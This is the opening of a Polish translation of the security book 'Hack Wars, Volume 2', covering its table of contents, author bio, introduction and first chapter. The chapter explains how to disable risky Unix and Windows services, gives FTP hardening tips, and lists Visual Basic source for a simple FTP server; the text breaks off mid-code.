3
Spis treści
O Autorze............................................................................................................ 5
Wstęp .................................................................................................................. 7
Rozdział 1. Zabezpieczanie portów i usług .......................................................................... 9
Porty zarezerwowane (well-known ports) ......................................................... 10
Zabezpieczanie portów zarezerwowanych ................................................................ 10
Porty ukryte........................................................................................................ 61
Skanowanie portów lokalnych .................................................................................. 62
Zabezpieczanie portów ukrytych .............................................................................. 96
Przeciwdziałanie gromadzeniu informacji ....................................................... 135
Informacje Whois.................................................................................................... 135
Projekt witryny internetowej................................................................................... 138
Anonimowość użytkownika.................................................................................... 147
Skanowanie zakresu adresów IP ............................................................................. 151
Inżynieria społeczna................................................................................................ 158
Rozdział 2. Mechanizmy ochrony przed włamaniami .................................................... 161
Zabezpieczanie przed penetracją...................................................................... 161
Ochrona przed programami wykorzystującymi tylne drzwi ................................. 162
Ochrona przed cookies............................................................................................ 166
Ochrona przed przepełnieniem ............................................................................... 167
Ochrona przed manipulacją dziennikami ................................................................ 173
Ochrona przed bombardowaniem poczty i spamowaniem...................................... 191
Ochrona przed łamaniem haseł ............................................................................... 194
Ochrona przed podsłuchem..................................................................................... 197
Ochrona przed podszywaniem się........................................................................... 211
Ochrona przed wirusami ......................................................................................... 212
Ochrona przed włamaniami na strony internetowe ................................................. 214
Rozdział 3. Sekrety zespołu Tiger Team.......................................................................... 223
Zabezpieczanie urządzeń sieciowych i usług................................................... 223
Bramy i routery ....................................................................................................... 225
Demony serwerów internetowych........................................................................... 232
Systemy operacyjne ................................................................................................ 237
Proxy i firewalle...................................................................................................... 252
Rozdział 4. Powiązanie mechanizmów zabezpieczających............................................. 257
Zasady bezpieczeństwa .................................................................................... 257
Zasady bezpieczeństwa ........................................................................................... 258
Tworzenie planu...................................................................................................... 262
4
Hack Wars. Tom 2. Na tropie hakerów
4
Kontrola kierownicza.............................................................................................. 267
Kontrola operacyjna................................................................................................ 273
Szablony zasad bezpieczeństwa .............................................................................. 299
Analiza zabezpieczeń .............................................................................................. 299
Wyniki końcowe analizy zabezpieczeń................................................................... 305
Wdrożenie zabezpieczeń......................................................................................... 338
Dodatek A Oprogramowanie zabezpieczające ............................................................... 343
TigerSurf................................................................................................................. 343
Serwer Tiger Web ................................................................................................... 354
Dodatek B Szablony planu zabezpieczeń ........................................................................ 357
Plan zabezpieczeń głównej aplikacji....................................................................... 357
Plan zabezpieczeń systemu ogólnego wsparcia ...................................................... 367
Dodatek C Zawartość płyty CD ....................................................................................... 379
Rozdział 1. .............................................................................................................. 379
Rozdział 2. .............................................................................................................. 381
Rozdziały 3. i 4. ...................................................................................................... 382
TigerSurf................................................................................................................. 382
Lista portów ............................................................................................................ 383
Dodatek D Spis treści tomu 1. ......................................................................................... 385
Dodatek E Skorowidz tomu 1. ........................................................................................ 387
Dodatek F Słowniczek najważniejszych pojęć................................................................ 389
Skorowidz ....................................................................................................... 393
5
O Autorze
Obecnie znany jako superhaker, pracujący przy najważniejszych projektach i asystu-
jący menedżerom ds. zabezpieczeń w różnych firmach, John Chirillo rozpoczął swoją
karierę komputerową w wieku lat 12, kiedy to po roku spędzonym na samodzielnym
poznawaniu komputerów napisał grę Dragon’s Tomb. Gra sprzedała się w ilości kilku
tysięcy kopii. W ciągu kolejnych pięciu lat John napisał wiele innych programów, ta-
kich jak The Lost Treasure (podręcznik pisania gier), Multimanger (zestaw oprogra-
mowania do prowadzenia księgowości, finansów i gospodarki magazynowej), Sorce-
ry (gra przygodowa RPG), PC Notes (graficzny interfejs użytkownika do nauki
matematyki — od algebry do arytmetyki), Falcon’s Quest I i II (graficzne gry przy-
godowe) oraz Genius (kompletny system operacyjny oparty o Windows, wykorzystu-
jący mechanizm wskazywania i klikania). John uzyskał certyfikaty w wielu językach
programowania, włączając w to QuickBasic, VB, C++, Pascal, Assembler i Javę.
W późniejszym okresie John utworzył PC Optimization Kit (zwiększający do 200 procent
prędkość standardowych procesorów Intel 486).
Podobne sukcesy John odnosił w szkole; otrzymał wiele stypendiów naukowych,
między innymi na uniwersytecie Illinois Benedictine University. Chirillo prowadził
dwie firmy — Software Now i Geniusware — a następnie został konsultantem specja-
lizującym się w zabezpieczeniach i analizach. John pracował dla wielu prestiżowych
firm, gdzie wykonywał analizy zabezpieczeń i podsłuchu, projekty sieci LAN i WAN,
wdrażanie oraz rozwiązywanie problemów. W czasie tego okresu uzyskał wiele certy-
fikatów, takich jak Cisco CCNA, CCDA, CCNP, CCIE, Intel Certfied Solutions Kon-
sultant, Compaq ASE Enterprise Storage oraz Master UNIX. John Chirillo jest obec-
nie inżynierem sieciowym w firmie zajmującej się zarządzaniem technologią.
6
Hack Wars. Tom 2. Na tropie hakerów
6
Podziękowania
Przede wszystkim chciałem podziękować mojej żonie nie tylko za korektę tej książki,
ale i za jej ciągłe wsparcie i cierpliwość w czasie pisania. Chciałbym także podzięko-
wać mojej rodzinie i przyjaciołom za ich zachęty i pokładane we mnie zaufanie. Czu-
ję również wyjątkową wdzięczność dla następujących osób, firm i organizacji: Neil
Ramsbottom, Mike G., Mike Down, Shadowlord, Mindgame, John Fenton, Philip Be-
am, J.L. du Preez, Buck Naked, SreRoiD, no()ne, Państwowy Instytut Standaryzacji i
Technologii (NIST), Marianne Swanson, Simple Nomad, The LAN God, Teiwaz,
Fauzan Mirza, David Wagner, Diceman, Craigt, Einar Blaberg, Cyberius, Jungman,
RX2, itsme, Greg Miller, John Vranesevich, Deborah Triant, Mentor, FBI, Krajowe
Centrum Zabezpieczenia Komputerów (NCSC), 2600.com, Fyodor, Muffy Barkocy,
Wintermute, dcypher, manicx, Tsutomu Shimomura, humble, The Posse, Jim Huff,
Soldier, Mike Frantzen, Tfreak, Dan Brumleve, Arisme, Georgi Guninski, Satanic
Mechanic, Mnemonic, The Grenadier, Jitsu, lore, 414, wszyscy członkowie H4G1S
oraz wszyscy w ValCom.
Jak zwykle to bywa, aby odnieść sukces, należy znaleźć się w otoczeniu najlepszych
ludzi. Pamiętając o tym, muszę podziękować Davidowi Fugate z Waterside Produc-
tions oraz Carol Long, Mathew Cohenowi, Adaobi Obi, Micheline Frederick oraz
wszystkim innym z wydawnictwa John Wiley & Sons, o których tu nie wymieniłem.
Rozdział X.
♦
♦
♦
♦
Tytuł rozdziału
7
7
Wstęp
Coraz większa liczba użytkowników prywatnych sieci domaga się dostępu do takich
usług internetowych, jak World Wide Web, poczta elektroniczna, Telnet czy FTP.
Również firmy chcą udostępniać publicznie strony WWW i serwery FTP. Wraz
z rozwojem Internetu zwiększa się prawdopodobieństwo naruszenia bezpieczeństwa
sieci. Administratorzy sieci i menedżerowie drżą na myśl o narażeniu poufnych danych
firmowych oraz infrastruktury sieciowej na coraz popularniejsze ataki hakerów, cracke-
rów i phreaków. Jednym zdaniem, bezpieczeństwo internetowe staje się najważniejsze,
kiedy organizacja rozwija swoją sieć prywatną w celu połączenia z siecią publiczną.
Aby zapewnić wymagany poziom bezpieczeństwa, firma potrzebuje nie tylko nowocze-
snej polityki zabezpieczeń w celu uniemożliwienia nieautoryzowanego dostępu; jej me-
nedżerowie muszą w pełni zrozumieć wszystkie elementy związane z budową solid-
nych fortyfikacji chroniących przed atakami hakerów. Nawet organizacje niepołączone
z Internetem muszą ustanowić wewnętrzne środki ochronne, jeśli chcą skutecznie zarzą-
dzać dostępem użytkowników do swoich sieci oraz chronić tajne i wrażliwe informacje.
Książka Hack wars. Administrator kontratakuje omawia wszystkie te kwestie i defi-
niuje procedury, które są niezbędne do pełnej ochrony sieci i systemów przed zagro-
ż
eniami związanymi z bezpieczeństwem. Poprzez podział na rozdziały, które odnoszą
się do pierwszego tomu tej książki, Hack wars. Na tropie hakerów, przedstawiono tu-
taj kolejne kroki, które należy wykonać w celu przygotowania i wdrożenia skutecznej
polityki zabezpieczeń.
Pierwszym etapem jest poznanie przez czytelników różnych zagrożeń; realizujemy to,
przedstawiając różnorakie procedury zespołu Tiger Team, uzupełnione o przykłady
i ilustracje. Książka jest podzielona na cztery rozdziały. Rozdział 1. omawia inżynierię in-
frastruktury systemowej, wyjaśniając procesy niezbędne do zabezpieczenia wrażliwych
portów i usług. W rozdziale 2. znalazł się dokładny opis sposobu chronienia przed pene-
tracją ukrytych słabych punktów, omówionych w pierwszym tomie tej książki. Rozdział
3. przedstawia najważniejsze środki chroniące przed atakami hakerów, które można wy-
korzystać w popularnych bramach, routerach, demonach serwerów internetowych, syste-
mach operacyjnych oraz proxy i firewallach. Rozdział 4. pozwala na spojrzenie na zabez-
pieczenia sieci z pewnej perspektywy dzięki prezentacji skutecznej polityki zabezpieczeń.
Kto powinien przeczytać tę książkę?
Książka Hack wars. Administrator kontratakuje zawiera wiadomości dla wszystkich zain-
teresowanych obawiających się o bezpieczeństwo sieciowe, przeczytanie jej pozwoli zro-
zumieć metody używane do najskuteczniejszego zabezpieczania systemu oraz sieci.
8
Hack Wars. Tom 2. Na tropie hakerów
8
Książka ta została napisana z myślą o następujących czytelnikach:
użytkownicy domowi lub prowadzący małe biuro, będący entuzjastami
Internetu, a wykonywane przez nich czynności w sieci to bezpieczne zakupy,
wypełnianie formularzy oraz przesyłanie plików, danych i informacji;
inżynierzy sieciowi, których całe życie zawodowe koncentruje się na kwestii
bezpieczeństwa;
inżynierzy zabezpieczeń, którzy chcą stać się guru w swojej dziedzinie;
hakerzy, crackerzy i inni, dla których ta książka będzie stanowiła formę
edukacji, jak i rozrywki;
menedżerowie nie zajmujący się techniką, których praca może zależeć
od zawartych tu informacji;
fani hakerów i wielbiciele takich filmów, jak Matrix czy Hackers;
inteligentni i ciekawi nastolatkowie, których przeznaczenie może się zmienić
po przeczytaniu tej książki.
Uwaga dla czytelnika
Wszystkie nazwy, o których wiadomo, iż stanowią znaki handlowe lub serwisowe,
zostały prawidłowo oznaczone. Nie możemy jednak w pełni potwierdzić tej informa-
cji. Użycie nazwy w tej książce nie powinno być uznane za naruszenie praw związa-
nych ze znakiem handlowym lub serwisowym.
Ta książka jest sprzedawana tylko w celach informacyjnych. Bez pisemnej zgody
firmy docelowej większość przedstawionych tu procedur jest nielegalna w Stanach
Zjednoczonych i wielu innych krajach. Ani autor, ani wydawca nie będą odpowie-
dzialni za użycie lub niewłaściwe użycie informacji zawartych w tej książce.
9
Rozdział 1.
Zabezpieczanie portów i usług
W pierwszym tomie niniejszej książki, Hack wars. Na tropie hakerów, opisywaliśmy
już porty i usługi. Przedstawiliśmy także ich znaczenie dla podatności systemów na ataki
z zewnątrz. Warto jednak krótko przypomnieć — porty to swoiste „bramy”, pośredni-
czące w przesyłaniu informacji do i z komputera. Hakerzy korzystają z narzędzi zwanych
„skanerami portów” (również opisanych w pierwszym tomie), umożliwiających ich prze-
szukanie i wyszukanie tych, które są otwarte (na których prowadzony jest „nasłuch”).
Te właśnie mogą zostać wykorzystane w próbach nieuprawnionej penetracji systemu.
Z około 65 tysięcy portów komputera, pierwszych 1024 określa się jako well-known
ports, czyli porty zarezerwowane (dosł. porty znane). Pozostałe określić można jako
porty ukryte (ang. concealed ports). W rozdziale 1. zajmiemy się technikami pozwalają-
cymi zabezpieczyć porty oraz związane z nimi usługi. Rozpoczniemy od metod zabez-
pieczenia, zarówno portów zarezerwowanych, jak i pozostałych, które są w systemie
wykorzystywane. Następnie przejdziemy do przeciwdziałania wykrywaniu danych o sys-
temie i skanowaniu portów. Wykrywanie danych o systemie docelowym, jak opisujemy
to w pierwszym tomie Hack wars, jest początkowym etapem działań hakera, poprzedza-
jącym utworzenie skutecznego planu ataku. Skanowanie portów jest najczęściej drugą
fazą gromadzenia potrzebnych informacji.
W niniejszej książce przedstawiać będziemy kolejne etapy prowadzące do spójnego
zabezpieczenia systemu. Trzymając się podejścia zespołu Tiger Team, opiszemy ko-
lejne procedury (kroki), prowadzące do skutecznej ochrony przed przełamaniem wprowa-
dzonych barier obronnych. Uporządkowanie treści odpowiadać będzie typowej kolejno-
ś
ci ich konfigurowania.
Porty zarezerwowane
(well-known ports)
Celem niniejszego podrozdziału jest wprowadzenie Czytelnika w techniki służące do
zabezpieczania najwrażliwszych portów z listy zarezerwowanych (well-known ports).
10
Hack Wars. Tom 2. Na tropie hakerów
10
Są one wykorzystywane przez różnorodne usługi korzystające z transportu TCP lub
UDP. Gdy dwa systemy nawiązują komunikację, porty te stają się zakończeniami po-
łączeń logicznych, stanowiących podstawę „konwersacji” komputerów. Połączenie
TCP inicjowane jest w drodze trójstopniowej wymiany potwierdzeń (ang. three-way
handshake), której celem jest zsynchronizowanie numerów sekwencyjnych i potwierdzeń
obu stron (komunikację TCP określa się często jako połączeniową lub gwarantowaną).
Komunikacja UDP realizowana jest przez bezpołączeniową usługę przesyłania datagra-
mów, gdzie dostarczanie danych nie jest gwarantowane, ale wysoce wydajne.
Skoncentrujemy się w przedstawionym opisie na portach określonych w pierwszym
tomie jako najbardziej wrażliwe na ataki. Ich lista wygląda następująco: echo (7), systat
(11), netstat (15), chargen (19), FTP (21), telnet (23), SMTP (25), domain (53), bootp
(67), TFTP (69), finger (79), http (80), pop2 (109), pop3 (110), portmap (111), loc-serv
(135), nbname (137), nbdatagram (138), nbsession (139), SNMP (161), exec (512), login
(513), shell (514), syslog (514), talk (517), ntalk (518), route (520) i uucp (540).
Zabezpieczanie portów zarezerwowanych
Pamiętać należy, że porty zarezerwowane to pierwsze 1024 porty, które wykorzystywane
są przez usługi systemu. Połączenia wychodzące będą miały zazwyczaj numery wyższe
od 1023. Oznacza to, że wszystkie pakiety przychodzące, kierowane do portów wyższych
niż 1023, są odpowiedziami na zainicjowane w systemie żądania. Połączenia takie korzy-
stają z portów zarezerwowanych, na których prowadzony jest nasłuch w oczekiwa-
niu żądań określonych usług. Nasłuchem zarządzają procesy systemowe albo demony
usług. Gdy jednak oczekują one na uprawnione żądania połączeń, pozostają jednocześnie
otwarte na nadużycia. Pamiętając o tej podstawowej zależności, przyjrzyjmy się teraz
metodom „blokowania” portów zarezerwowanych i ochrony związanych z nimi usług.
Zanim jednak przejdziemy do konkretnych portów, czeka nas jeszcze krótki przegląd
rejestru systemu Windows i demona Internet Services Database (inetd, baza danych
usług internetowych) systemu UNIX. Dokładniej rzecz ujmując, inetd to proces zarzą-
dzania demonami, zapewniający obsługę wszystkich usług sieciowych pracujących
w systemie UNIX. Opierając się na pliku konfiguracyjnym
/etc/inetd.conf
, zarządza
on aktywacją usług (ftp, telnet, login i innych). W niniejszej książce odwołujemy się
do pliku
inetd.conf
zgodnie z jego implementacją w systemie Linux, gdzie znajduje się
w katalogu
/etc/
. Należy jednak pamiętać, że w wielu odmianach systemu UNIX jego
lokalizacja może być inna. Przykładowo: w systemach AIX i Digital znajdziemy plik
inetd.conf
w katalogu
/usr/sbin
, w systemach HP-UX 9 i 10 — w katalogach, odpo-
wiednio,
/etc
i
/usr/lbin
, w systemie IRIX — w
/usr/etc
, w Solarisie —
/usr/sbin
, a w sys-
temie SunOS —
/usr/etc
.
W systemach Windows, do pewnego stopnia przyrównać można do uniksowego demo-
na inetd rejestr systemu stanowiący hierarchiczną bazę danych, w której przechowuje
się wszelkie ustawienia konfiguracyjne. Zastąpił on pełniące podobną rolę w Windows
3.x pliki
.ini
. Wszelkie dane systemowe z plików
system.ini
,
win.ini
i
control.ini
znaleźć
można w ujednoliconej bazie rejestru. Umieszczają w nim informacje inicjalizacyjne
i konfiguracyjne również wszystkie programy.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
11
11
Przed wprowadzeniem jakichkolwiek modyfikacji w pliku inetd.conf lub rejestrze Win-
dows, zawsze należy pamiętać o utworzeniu ich kopii zapasowych.
Port 7: Echo
Typowe schematy komunikacji nie wymagają aktywności usługi Echo. Jej jedyną rolą
jest przesłanie odpowiedzi na komunikat przesłany jako żądanie połączenia TCP lub
UDP. W takich wypadkach zaleca się więc całkowite wyłączenie usługi w celu uniknięcia
potencjalnych ataków typu Denial of Service (DoS, „uniemożliwienie działania”).
Zanim jednak to zrobimy, powinniśmy sprawdzić czy żadne oprogramowanie firmowe
— jak monitorujące czy diagnostyczne — nie wymaga jej funkcjonowania.
Aby wyłączyć usługę Echo w systemie UNIX, wprowadzamy modyfikację
w pliku
/etc/inetd.conf
, polegającą na oznaczeniu wpisu usługi jako komentarza
Aby dezaktywować usługę Echo w systemie Windows, wymagane jest
wprowadzenie zmiany w rejestrze.
Rysunek1.1.
Wyłączanie usług
w systemie UNIX
Uruchamiamy w tym celu z okna Start | Uruchom program regedit.exe. Następnie
wyszukujemy wpisy usługi Echo dla protokołów TCP i UDP, aby zmienić ich wartości
na
false
lub
0
(patrz rysunek 1.2). Po zakończeniu restartujemy system i weryfikuje-
my skuteczność wprowadzonych modyfikacji.
Jeżeli masz trudności lub obawiasz się wprowadzania zmian w rejestrze systemu Win-
dows, sięgnij do dodatku A, gdzie znajdziesz więcej informacji o oprogramowaniu wspoma-
gającym zabezpieczanie systemu. Korzystając z TigerWatch możesz monitorować i blokować
porty oraz usługi systemowe, unikając konieczności wyłączania ich „ręcznie” lub w drodze
bezpośredniej edycji rejestru.
12
Hack Wars. Tom 2. Na tropie hakerów
12
Rysunek 1.2.
Modyfikowanie
rejestru systemu
Windows w celu
wyłączenia usługi
W systemie Windows NT 4 usługę Echo wyłączyć można przez proste odinstalowanie
składnika usług sieciowych Simple TCP/IP Services (Usługi Simple TCP/IP) — przyp.
tłum.
Port 11: Systat, port 15: Netstat
Zdalnie inicjowana, usługa Systat dostarcza informacji o stanie procesów i użytkownikach
— powinna więc zostać wyłączona. Aby to zrobić w systemie UNIX, wprowadzamy
prostą modyfikację w pliku
/et/inetd.conf
, podobnie jak w przypadku usługi Echo
(patrz rysunek 1.1). Następnie restartujemy cały system lub sam proces inetd.
Analogicznie do Systat, usługa Netstat może dostarczyć osobie nieupoważnionej danych
o aktywnych połączeniach sieciowych, jak również innych użytecznych informacji
o podsystemie komunikacyjnym — protokołach, adresach i funkcjonujących gniazdach
i rozmiarach MTU (patrz rysunek 1.3). Aby wyłączyć usługę Netstat w systemie UNIX,
również wystarczy modyfikacja pliku
inetd.conf
, podobna do przedstawionej na ry-
sunku 1.1 dla usługi Echo. Po jej wprowadzeniu restartujemy system lub sam proces inetd.
Rysunek 1.3.
Część informacji
ujawnianych przez
usługę Netstat
Port 19: Chargen
Usługa Chargen może zostać wykorzystana do przekazywania danych usłudze Echo
i odbierania ich w układzie nie kończącej się pętli. Łatwo w ten sposób doprowadzić
do poważnego przeciążenia systemu. Ponieważ usługa pełni wyłącznie rolę prostego
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
13
13
generatora strumienia znaków, jest mało prawdopodobne, aby praca sieci wymagała
jej obecności. Aby ograniczyć możliwości wpływania z zewnątrz na pracę systemu,
zaleca się więc wyłączenie usługi.
Aby wyłączyć usługę w systemie UNIX, oznaczamy dotyczący jej wiersz
w pliku
/etc/inetd.conf
jako komentarz, podobnie jak przedstawiono to na
rysunku 1.1 dla usługi Echo. Następnie restartujemy system lub sam proces inetd.
Mimo, że usługa Chargen nie jest integralną częścią systemu Windows,
mogła zostać wcześniej zainstalowana. Aby uniemożliwić jej pracę,
konieczna jest edycja rejestru. Korzystamy w tym celu z okna Start | Uruchom,
uruchamiając program regedit.exe. Wyszukujemy następnie wpisy usługi
i zmieniamy ich wartości na
false
lub
0
(na rysunku 1.2 przedstawiona została
podobna operacja dla usługi Echo). Po wprowadzeniu modyfikacji, restartujemy
system i sprawdzamy ich poprawność.
Jeżeli zainstalowane zostały usługi Simple TCP/IP Services (w systemie NT
lub 2000), najprostszym sposobem wyłączenia obsługi portu Chargen jest
odinstalowanie elementu Simple TCP/IP Services (Usługi Simple TCP/IP)
poprzez arkusz właściwości połączenia sieciowego.
Port 21: FTP
O ile założenia komunikacji sieciowej nie wymagają korzystania z protokołu przesyłania
plików FTP, zaleca się wykluczenie możliwości korzystania z tej usługi. Gdy jednak
funkcjonowanie FTP jest koniecznością, istnieją inne metody ochrony. Omówimy tu
szerzej kilka sytuacji i sposobów zabezpieczania. Rozpocznijmy jednak od wyłączania
usługi, co oczywiście jest najbezpieczniejsze.
Podobnie jak w przypadku większości usług sieciowych w systemie UNIX,
oznaczenie jako komentarza wiersza usługi FTP w pliku
inetd.conf
zapewnić
powinno całkowite dezaktywowanie jej demona (patrz rysunek 1.4).
Aby wprowadzona zmiana odniosła skutek, nie wolno oczywiście
zapomnieć o restarcie demona lub, nawet lepiej, całego systemu.
Rysunek 1.4.
Wyłączanie
usługi FTP
w systemie UNIX
W systemach Windows dostępne są dwie podstawowe metody wyłączania
usługi FTP: modyfikacja konfiguracji uruchomieniowej lub zakończenie
pracy procesu aktywnego. Modyfikowanie konfiguracji uruchomieniowej
14
Hack Wars. Tom 2. Na tropie hakerów
14
systemu Windows NT jest stosunkowo proste, wymaga jedynie zalogowania
użytkownika z odpowiednimi uprawnieniami. Po wybraniu kolejno Start |
Ustawienia | Panel sterowania | Usługi, przewijamy listę usług, wyszukując
Usługa publikowania FTP. Ilustruje to rysunek 1.5.
Rysunek 1.5.
Wyszukiwanie
demona usługi FTP
w systemie
Windows NT
Po znalezieniu odpowiedniej pozycji, pojedynczym kliknięciem zaznaczamy
ją i klikamy, widoczny w prawej części okna, przycisk Zatrzymaj. Ukazuje się
wówczas okienko widoczne na rysunku 1.6. Po zatwierdzeniu operacji, demon
FTP powinien pozostać nieaktywny aż do następnego uruchomienia systemu.
Aby zapobiec jego ponownemu uruchomieniu, użyć należy z kolei przycisku
Autostart. W wyświetlanym przezeń oknie wybieramy opcję Wyłączony, po czym
klikamy OK (ilustruje to rysunek 1.7).
Rysunek 1.6.
Zatwierdzenie
wyłączenia usługi
FTP w systemie
Windows NT
Standardowo, aby trwale wyłączyć demona usługi FTP w systemach Windows, korzy-
stamy z dedykowanego modułu administracyjnego usługi. Alternatywą jest całkowite
usunięcie jej z systemu za pomocą modułu Panelu sterowania, Dodaj/Usuń programy.
Istnieje jeszcze rozwiązanie najprostsze, pozwalające wyłączyć usługę czasowo —
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
15
15
Rysunek 1.7.
Trwałe wyłączanie
demona usługi
FTP w systemie
Windows NT
wciśnięcie klawiszy Ctrl+Alt+Delete i wywołanie okna Zamknij program lub Mene-
dżer zadań. Wówczas przewijamy listę procesów, znajdujemy i zaznaczamy proces
FTP, po czym klikamy przycisk Zakończ zadanie lub Zakończ proces. Ilustruje to rysu-
nek 1.8. Usługa pozostanie nieaktywna do ponownego uruchomienia systemu. Wyko-
nanie tego rodzaju operacji może być konieczne, gdy korzystamy z demona innego
niż standardowo dołączany do systemu.
Rysunek 1.8.
Kończenie pracy
demona usługi FTP
Jak wspomnieliśmy wcześniej, jeżeli wyłączenie usługi FTP nie jest dopuszczalne, można
użyć innych sposobów jej zabezpieczenia. Przyjrzyjmy się kilku dostępnym środkom
przeciwdziałania włamaniom:
Zmiana komunikatu powitalnego FTP. Zaleca się zmianę komunikatu
wyświetlanego przez demon FTP bezpośrednio po nawiązaniu połączenia.
Zależnie od stosowanego programu, ujawniać on może osobom niepowołanym:
16
Hack Wars. Tom 2. Na tropie hakerów
16
typ demona, wersję, platformę systemową i inne istotne dane. Przyjrzyjmy się
rysunkowi 1.9 — sama próba nawiązania połączenia pozwala uzyskać kilka
podstawowych informacji: nazwę systemu docelowego, typ demona FTP
i jego wersję. Włamywaczowi nie pozostaje nic prostszego jak przejrzeć
listę powszechnie znanych wad stosowanego programu i rozpocząć ich
wykorzystywanie.
Rysunek 1.9.
Dane ujawniane
przez komunikat
powitalny FTP
Niektóre pakiety FTP nie przewidują możliwości zmiany komunikatu powitalnego.
Ograniczenia połączeń FTP. Z limitem ilości połączeń FTP wiąże się dość
ciekawe zagrożenie. Standardowo, wiele programów określa tę wartość jako
stosunkowo wysoką (patrz rysunek 1.10). Przy jej modyfikowaniu, warto
zachować zdrowy rozsądek. Przede wszystkim warto rozważyć ile strumieni
połączeniowych dany serwer faktycznie potrafi obsłużyć. Przeciętny serwer
NT całkowicie „załamuje się” przy 200 jednocześnie otwartych sesjach.
Doprowadzenie do takiej awarii, przez przesłanie ogromnej liczby żądań
połączenia, zadowoli niejednego hakera.
Rysunek 1.10.
Limit połączeń FTP
na serwerze NT
Połączenia anonimowe. Istotną rzeczą jest unikanie, o ile to możliwe,
uaktywniania opcji anonimowych połączeń FTP (patrz rysunek 1.11).
Należy również mieć świadomość, że w wielu pakietach FTP,
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
17
17
zwłaszcza dla systemu UNIX, funkcja ta pozostaje domyślnie włączona.
Jeżeli połączenia anonimowe muszą być dostępne, wymagana jest
niezwykła dbałość o ustawienia uprawnień dostępu do plików i katalogów.
Na platformach uniksowych należy również zadbać o możliwie ograniczony
plik
/etc/passwd
.
Rysunek 1.11.
Opcja anonimowych
połączeń FTP
Uprawnienia. Bardzo istotne jest ścisłe określenie dla każdego użytkownika
jego praw umieszczania na serwerze i pobierania plików, jak również
uprawnień dotyczących poszczególnych plików i katalogów. Podstawowym
zaleceniem jest tu dokładne i wielokrotne sprawdzanie wprowadzonych
ustawień. Gdy liczba użytkowników jest duża, należy się liczyć z tym,
ż
e zajmie to więcej czasu. Nie będzie to jednak czas stracony. Również,
w szczególności na platformach uniksowych, wyłączamy opcje
chmod
oraz
przeglądanie katalogów. Przy konfigurowaniu systemów Windows nie wolno
zapomnieć o koncie Guest (Gość), które — w większości systemów — powinno
pozostawać wyłączone.
Tiger FTP
Pakiety systemów UNIX zawierają zazwyczaj demony FTP. Domowi czy prywatni
użytkownicy Windows poszukujący rozwiązania FTP zapewniającego im pełną kontrolę
nad procesami komunikacyjnymi również nie powinni mieć powodów do zmartwień.
Poniżej przedstawimy przykładową kompilację oprogramowania FTP. Pozwala ona
swobodnie zarządzać funkcjonowaniem serwera i zapewniać bezpieczny dostęp FTP
rodzinie i przyjaciołom. Lista dostępnych funkcji obejmuje opcje wiersza poleceń,
uprawnienia do plików i katalogów i opcje przebiegu sesji. Przedstawiony na rysunku
1.12 program TigerFTPServ może być bez ograniczeń modyfikowany, rozpowszechniany
i wykorzystywany. W jego skład wchodzi analizator sesji, wyświetlający w czasie rze-
czywistym wszystkie żądania połączeń i dane stanu transakcji. Dla uniknięcia komplikacji
i zapewnienia bezpieczeństwa, wszystkimi uprawnieniami użytkowników zarządza
plik
TFTPServ.ini
:
18
Hack Wars. Tom 2. Na tropie hakerów
18
Rysunek 1.12.
Główny formularz,
a zarazem interfejs
programu
TigerFTPServ
[Settings]
Version=1.0.0
[Users]
Users=1
Name1=test
Pass1=tester
DirCnt1=2
Home1=C:\
Access1_1=c:\,RWXLMS
Access1_3=d:\,RWXLMS
Główny formularz,
FrmFTO.frm
, może zostać zmodyfikowany tak, aby pozwalał za-
rządzać połączeniami użytkowników. Można również dopasować wygląd głównego
modułu programu do własnych upodobań.
FrmFTP.frm
Public MainApp As MainApp
Private Sub Form_Unload(Cancel As Integer)
MainApp.Closing
Set MainApp = Nothing
End Sub
Private Sub EndCmd_Click()
Dim i As Integer
For i = 1 To MAX_N_USERS
If users(i).control_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).control_slot)
Set users(i).Jenny = Nothing
End If
If users(i).data_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).data_slot)
End If
Next
retf = closesocket(ServerSlot)
If SaveProfile(App.Path & "\tftpserv.ini", True) Then
End If
Unload Me
End Sub
Private Sub mEndCmd_Click()
Dim i As Integer
For i = 1 To MAX_N_USERS
If users(i).control_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).control_slot)
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
19
19
Set users(i).Jenny = Nothing
End If
If users(i).data_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).data_slot)
End If
Next
retf = closesocket(ServerSlot)
If SaveProfile(App.Path & "\tftpserv.ini", True) Then
End If
Unload Me
End Sub
Private Sub mSetup_Click()
UserOpts.Show 1
End Sub
Formularz
AddEditDir.frm
służy do uzupełniania i modyfikowania listy katalogów,
do których użytkownik ma określone uprawnienia.
AddEditDir.frm
Option Explicit
Private Sub AddEditCnx_Click()
UserOpts.Tag = ""
Unload Me
End Sub
Private Sub AddEditDone_Click()
UserOpts.Tag = DirPath.Text
Unload Me
End Sub
Private Sub BrowseDir_Click()
AddEditDir.Tag = DirPath.Text
FindFolder.Show 1
DirPath.Text = AddEditDir.Tag
End Sub
Kolejny formularz,
FindFolder.frm
, służy jako interfejs do wyszukiwania katalogów,
do których przypisujemy użytkownikom uprawnienia.
FindFolder.frm
Option Explicit
Dim DrvS(32) As String
Dim LastStr As String
Dim DrvC As Integer
Private Sub FldrDone_Click()
Form_Terminate
End Sub
Private Sub FolderList_Click()
Dim s As String, t As String, s2 As String
Dim i As Integer
i = FolderList.ListIndex + 1
s2 = FolderList.Text
If Mid(s2, 1, 1) = "[" Then
20
Hack Wars. Tom 2. Na tropie hakerów
20
s2 = Mid(s2, 2, 2) & "\"
DirPath = s2
Else
If FolderList.Text = ".." Then
s = Left(LastStr, Len(LastStr) - 1)
Do Until Right(s, 1) = "\"
s = Left(s, Len(s) - 1)
Loop
s2 = s
DirPath = s2
Else
s2 = DirPath & FolderList.Text & "\"
DirPath = s2
End If
End If
LastStr = s2
FolderList.Clear
'Debug.Print i; s2
s = FindFile("*.*", s2)
Add_Drives
End Sub
Private Sub Form_Load()
Dim s As String
GetSystemDrives 'ładowanie informacji o dyskach w systemie
If AddEditDir.Tag <> "" Then
LastStr = AddEditDir.Tag
DirPath = LastStr
s = FindFile("*.*", AddEditDir.Tag)
End If
Add_Drives
End Sub
Private Sub Add_Drives()
Dim x As Integer
For x = 1 To DrvC
FolderList.AddItem "[" & DrvS(x) & "]"
Next
End Sub
Private Sub Form_Terminate()
